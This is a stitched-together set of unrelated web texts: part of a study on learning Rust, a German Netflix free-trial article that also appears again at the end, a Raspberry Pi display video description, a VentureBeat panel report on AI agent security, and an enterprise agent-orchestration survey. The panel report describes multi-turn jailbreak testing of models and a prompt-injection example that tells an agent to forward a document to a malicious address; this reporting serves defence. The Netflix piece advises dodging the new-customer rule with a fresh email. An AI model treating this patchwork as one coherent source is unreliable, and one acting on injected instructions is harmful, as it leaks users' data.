"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners

We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in." -- Principal Firmware Engineer (mobile robotics)

"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider

"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company

Silent attrition

We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider

Feedback on near-bounces from survey

We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.

One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.

Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion

The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions

Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.

That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying

Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.

Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.

Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.

Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.

How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.

Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know

The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.

We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.

The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.

Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.

Bis zu 30 Tage können Sie den Streamingtest jetzt kostenlos nutzen. Teilweise werden auch nur 14 Tage angeboten, der Gratis-Zeitraum scheint also je nach Standort oder genutztem Browser zu variieren. Auf der Webseite von Netflix Deutschland wurden uns auch nur 14 Tage für 0 Euro angezeigt. Es kann aber helfen, wenn Sie auf ein anderes Gerät wechseln oder Cookies löschen.

Wichtig: Das Angebot gilt explizit nur für Neukunden, nicht für wiederkehrende Abonnenten. Allerdings ist es recht einfach, diesen Umstand zu umgehen, wenn Sie sich einfach mit einer anderen E-Mail-Adresse als zuvor registrieren. Dann haben Sie zwar keinen Zugriff auf Ihren alten Account inklusive persönlicher Daten, Listen und Streaming-Historie, doch das ist sicher zu verschmerzen.

Nach Ablauf des Probezeitraums müssen Sie sich für ein Abo entscheiden (oder vorher kündigen). Zur Wahl stehen Standard mit Werbung für 4,99 Euro monatlich, Standard ohne Werbung für 13,99 Euro monatlich oder Premium für 19,99 Euro monatlich.

Warum genau Netflix gerade jetzt ein Probe-Abo wieder einführt, ist nicht ganz klar. Vermutlich versucht der Anbieter aber, neue Abonnenten dazu zu gewinnen, nachdem die Zahlen zuletzt stagnierten. Zwar ist Netflix der größte Anbieter für Streaming, doch die Konkurrenz schläft nicht. Seit Januar 2026 gibt es beispielsweise auch HBO Max in Deutschland, das mit großen Namen wie Game of Thrones, House of the Dragon, Harry Potter oder Superman wirbt.

Eine Übersicht aller wichtigen Streaming-Dienste finden Sie hier, inklusive Preisen, Vorteilen und Nachteilen.

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Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.

In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.

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🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio
🏠 Home Assistant: https://www.home-assistant.io/
🖥️ Proxmox: https://www.proxmox.com/
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html
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TIMESTAMPS:
0:00 - Unboxing the new Raspberry Pi Touch Display 2
0:45 - What is new on the 10 inch portrait display
1:50 - The catch: Raspberry Pi 5 and Compute Modules only
2:48 - It powered on and nothing happened
3:16 - The fix: updating your Raspberry Pi 5 firmware
5:55 - Building the Home Assistant dashboard with TouchKio

**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.

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VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 

The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

Finding 6: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 7: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 8: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 9: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.

